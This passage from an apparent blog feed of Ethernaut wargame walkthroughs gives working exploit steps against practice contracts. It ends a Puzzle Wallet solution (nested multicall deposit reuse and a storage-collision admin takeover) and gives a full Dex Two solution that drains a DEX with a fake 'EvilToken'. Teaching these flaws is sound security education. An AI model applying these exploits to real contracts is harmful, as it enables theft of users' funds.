&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assembly {
    selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
    require(!depositCalled, "Deposit can only be called once");
    // Protect against reusing msg.value
    depositCalled = true;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We need another way. Think deeper...we can only call &lt;code&gt;deposit&lt;/code&gt; only once in a &lt;code&gt;multicall&lt;/code&gt;...but what if call a &lt;code&gt;multicall&lt;/code&gt; that calls multiple &lt;code&gt;multicall&lt;/code&gt;s and each of these &lt;code&gt;multicall&lt;/code&gt;s call &lt;code&gt;deposit&lt;/code&gt; once...aha! That'd be totally valid since each of these multiple &lt;code&gt;multicall&lt;/code&gt;s will check their own separate &lt;code&gt;depositCalled&lt;/code&gt; bools.&lt;/p&gt;

&lt;p&gt;The contract balance currently is &lt;code&gt;0.001 eth&lt;/code&gt;. If we're able to call &lt;code&gt;deposit&lt;/code&gt; two times through two &lt;code&gt;multicall&lt;/code&gt;s in same transaction. The &lt;code&gt;balances[player]&lt;/code&gt; would be registered from &lt;code&gt;0 eth&lt;/code&gt; to &lt;code&gt;0.002 eth&lt;/code&gt;, but in reality only &lt;code&gt;0.001 eth&lt;/code&gt; will be actually sent! Hence total balance of contract is in reality &lt;code&gt;0.002 eth&lt;/code&gt; but accounting in &lt;code&gt;balances&lt;/code&gt; would think it's &lt;code&gt;0.003 eth&lt;/code&gt;. Anyway, &lt;code&gt;player&lt;/code&gt; is now eligible to take out &lt;code&gt;0.002 eth&lt;/code&gt; from contract and drain it as a result. Let's begin.&lt;/p&gt;

&lt;p&gt;Here's our call &lt;em&gt;inception&lt;/em&gt; (calls within calls within call!)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;            multicall
               |
        -----------------
        |               |
     multicall        multicall
        |                 |
      deposit          deposit     

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Get function call encodings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// deposit() method&lt;/span&gt;
&lt;span class="nx"&gt;depositData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deposit()&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// multicall() method with param of deposit function call signature&lt;/span&gt;
&lt;span class="nx"&gt;multicallData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;multicall(bytes[])&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;depositData&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we call &lt;code&gt;multicall&lt;/code&gt; which will call two &lt;code&gt;multicalls&lt;/code&gt; and each of these two will call &lt;code&gt;deposit&lt;/code&gt; once each. Send value of &lt;code&gt;0.001 eth&lt;/code&gt; with transaction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;multicall&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;multicallData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;multicallData&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.001&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; balance now must be &lt;code&gt;0.001 eth * 2&lt;/code&gt; i.e. &lt;code&gt;0.002 eth&lt;/code&gt;. Which is equal to contract's total balance at this time.&lt;/p&gt;

&lt;p&gt;Withdraw same amount by &lt;code&gt;execute&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.002&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By now, contract's balance must be zero. Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: '0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally we can call &lt;code&gt;setMaxBalance&lt;/code&gt; to set &lt;code&gt;maxBalance&lt;/code&gt; and as a consequence of storage collision, set admin to &lt;code&gt;player&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setMaxBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bang! Wallet is hijacked!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Learned something awesome? Consider starring the &lt;a href="https://github.com/theNvN/ethernaut-openzeppelin-hacks"&gt;github repo&lt;/a&gt;&lt;/em&gt; 😄&lt;/p&gt;

&lt;p&gt;&lt;em&gt;and following me on twitter &lt;a href="https://twitter.com/heyNvN"&gt;here&lt;/a&gt;&lt;/em&gt; 🙏&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>openzeppelin</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Hacks Level 23: Dex Two</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Sat, 29 Jan 2022 11:54:47 +0000</pubDate>
      <link>https://dev.to/nvnx/ethernaut-hacks-level-23-dex-two-4424</link>
      <guid>https://dev.to/nvnx/ethernaut-hacks-level-23-dex-two-4424</guid>
      <description>&lt;p&gt;This is the level 23 of OpenZeppelin &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt; web3/solidity based game.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://eips.ethereum.org/EIPS/eip-20"&gt;ERC20 Token Standard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hack
&lt;/h2&gt;

&lt;p&gt;Given contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract DexTwo  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) &amp;gt;= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_amount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(spender, amount);
    SwappableTokenTwo(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; has to drain all of &lt;code&gt;token1&lt;/code&gt; and &lt;code&gt;token2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The vulnerability here arises from &lt;code&gt;swap&lt;/code&gt; method which does not check that the swap is necessarily between &lt;code&gt;token1&lt;/code&gt; and &lt;code&gt;token2&lt;/code&gt;. We'll exploit this.&lt;/p&gt;

&lt;p&gt;Let's deploy a token - &lt;code&gt;EvilToken&lt;/code&gt; in Remix, with initial supply of 400, all given to &lt;code&gt;msg.sender&lt;/code&gt; which would be the &lt;code&gt;player&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're going to exchange &lt;code&gt;EVL&lt;/code&gt; token for &lt;code&gt;token1&lt;/code&gt; and &lt;code&gt;token2&lt;/code&gt; in such a way to drain both from &lt;code&gt;DexTwo&lt;/code&gt;. Initially both &lt;code&gt;token1&lt;/code&gt; and &lt;code&gt;token2&lt;/code&gt; is 100. Let's send 100 of &lt;code&gt;EVL&lt;/code&gt; to &lt;code&gt;DexTwo&lt;/code&gt; using &lt;code&gt;EvilToken&lt;/code&gt;'s &lt;code&gt;transfer&lt;/code&gt;. So, that price ratio in &lt;code&gt;DexTwo&lt;/code&gt; between &lt;code&gt;EVL&lt;/code&gt; and &lt;code&gt;token1&lt;/code&gt; is 1:1. Same ratio goes for &lt;code&gt;token2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Also, allow &lt;code&gt;DexTwo&lt;/code&gt; to transact 300 (100 for &lt;code&gt;token1&lt;/code&gt; and 200 for &lt;code&gt;token2&lt;/code&gt; exchange) of our &lt;code&gt;EVL&lt;/code&gt; tokens so that it can swap &lt;code&gt;EVL&lt;/code&gt; tokens. This can be done by &lt;code&gt;approve&lt;/code&gt; method of &lt;code&gt;EvilToken&lt;/code&gt;, passing &lt;code&gt;contract.address&lt;/code&gt; and &lt;code&gt;200&lt;/code&gt; as params.&lt;/p&gt;

&lt;p&gt;Alright at this point &lt;code&gt;DexTwo&lt;/code&gt; has 100 of each - &lt;code&gt;token1&lt;/code&gt;, &lt;code&gt;token2&lt;/code&gt; and &lt;code&gt;EVL&lt;/code&gt;. And &lt;code&gt;player&lt;/code&gt; has 300 of &lt;code&gt;EVL&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Get token addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;evlToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;EVL-token-address&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="nx"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;token1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;t2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;token2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Swap 100 of &lt;code&gt;player&lt;/code&gt;'s &lt;code&gt;EVL&lt;/code&gt; with &lt;code&gt;token1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evlToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This would drain all of &lt;code&gt;token1&lt;/code&gt; from &lt;code&gt;DexTwo&lt;/code&gt;. Verify by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;// Output: '0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Updated balances:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, according to &lt;code&gt;get_swap_amount&lt;/code&gt; method, to get all 100 of &lt;code&gt;token2&lt;/code&gt; in exchange we need 200 of &lt;code&gt;EVL&lt;/code&gt;. Swap accordingly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evlToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;token2&lt;/code&gt; is drained too! Verify by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;// Output: '0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200
  0       0       400 |   110     110     0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Level passed!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Learned something awesome? Consider starring the &lt;a href="https://github.com/theNvN/ethernaut-openzeppelin-hacks"&gt;github repo&lt;/a&gt;&lt;/em&gt; 😄&lt;/p&gt;

&lt;p&gt;&lt;em&gt;and following me on twitter &lt;a href="https://twitter.com/heyNvN"&gt;here&lt;/a&gt;&lt;/em&gt; 🙏&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>openzeppelin</category>
      <category>smartcontract</category>
    </item>
  </channel>
</rss>
